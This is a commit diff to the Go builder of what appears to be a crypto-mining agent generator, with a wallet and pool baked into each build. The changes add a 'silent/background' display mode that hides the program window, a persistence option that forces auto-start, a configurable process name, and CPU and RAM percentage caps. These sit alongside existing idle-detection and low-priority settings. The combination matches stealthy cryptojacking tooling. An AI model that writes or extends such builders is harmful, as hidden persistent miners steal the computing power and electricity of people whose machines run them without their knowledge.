Upgrade dashboard, builder, and agent resource controls.

Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.

server/internal/builder/handler.go

@@ -23,12 +23,18 @@ type BuildRequest struct {
 	ServerURL           string `json:"server_url"`
 	Wallet              string `json:"wallet"`
 	Threads             int    `json:"threads"`
+	ThreadMode          string `json:"thread_mode"`
+	ThreadPercent       int    `json:"thread_percent"`
 	CPUPriority         string `json:"cpu_priority"`
 	MiningMode          string `json:"mining_mode"`
+	DisplayMode         string `json:"display_mode"`
 	SilentMode          bool   `json:"silent_mode"`
 	RunAs               string `json:"run_as"`
 	AutoStart           bool   `json:"auto_start"`
+	Persistence         bool   `json:"persistence"`
+	ProcessName         string `json:"process_name"`
 	MaxCPUUsagePct      int    `json:"max_cpu_usage_pct"`
+	MaxMemoryPct        int    `json:"max_memory_percent"`
 	MinFreeRAMMB        int    `json:"min_free_ram_mb"`
 	IdleThresholdPct    int    `json:"idle_threshold_pct"`
 	IdleDurationMinutes int    `json:"idle_duration_minutes"`
@@ -148,7 +154,7 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
 	outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
 
 	ldflags := "-s -w"
-	if req.SilentMode {
+	if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode {
 		ldflags += " -H windowsgui"
 	}
 
@@ -219,6 +225,31 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	if req.Threads <= 0 {
 		req.Threads = 4
 	}
+	if req.ThreadMode == "" {
+		req.ThreadMode = "percent"
+	}
+	if req.ThreadPercent <= 0 {
+		req.ThreadPercent = 75
+	}
+	if req.ThreadPercent > 100 {
+		req.ThreadPercent = 100
+	}
+	if req.DisplayMode == "" {
+		if req.SilentMode {
+			req.DisplayMode = "silent"
+		} else {
+			req.DisplayMode = "background"
+		}
+	}
+	if req.Persistence {
+		req.AutoStart = true
+	}
+	if req.ProcessName == "" {
+		req.ProcessName = sanitizeFileName(req.WorkerName)
+	}
+	if req.MaxMemoryPct <= 0 {
+		req.MaxMemoryPct = 70
+	}
 	if req.CPUPriority == "" {
 		req.CPUPriority = "below_normal"
 	}
@@ -273,11 +304,15 @@ func GetBuiltinConfig() BuiltinConfig {
 		ServerURL:   %q,
 		Wallet:      %q,
 		Threads:     %d,
+		ThreadMode:  %q,
+		ThreadPercent: %d,
 		CPUPriority: %q,
 		MiningMode:  %q,
+		DisplayMode: %q,
 		SilentMode:  %v,
 		RunAs:       %q,
 		AutoStart:   %v,
+		ProcessName: %q,
 		BuildID:     %q,
 		BuiltAt:     time.Unix(%d, 0),
 		PoolHost:    %q,
@@ -285,6 +320,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		PoolTLS:     %v,
 		PoolPass:    %q,
 		MaxCPUUsage: %d,
+		MaxMemoryPct: %d,
 		MinFreeRAM:  %d,
 		IdleThresholdPct:    %d,
 		IdleDurationMinutes: %d,
@@ -297,11 +333,15 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.ServerURL,
 		req.Wallet,
 		req.Threads,
+		req.ThreadMode,
+		req.ThreadPercent,
 		req.CPUPriority,
 		req.MiningMode,
+		req.DisplayMode,
 		req.SilentMode,
 		req.RunAs,
 		req.AutoStart,
+		req.ProcessName,
 		buildID,
 		time.Now().Unix(),
 		req.PoolHost,
@@ -309,6 +349,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.PoolTLS,
 		req.PoolPass,
 		req.MaxCPUUsagePct,
+		req.MaxMemoryPct,
 		req.MinFreeRAMMB,
 		req.IdleThresholdPct,
 		req.IdleDurationMinutes,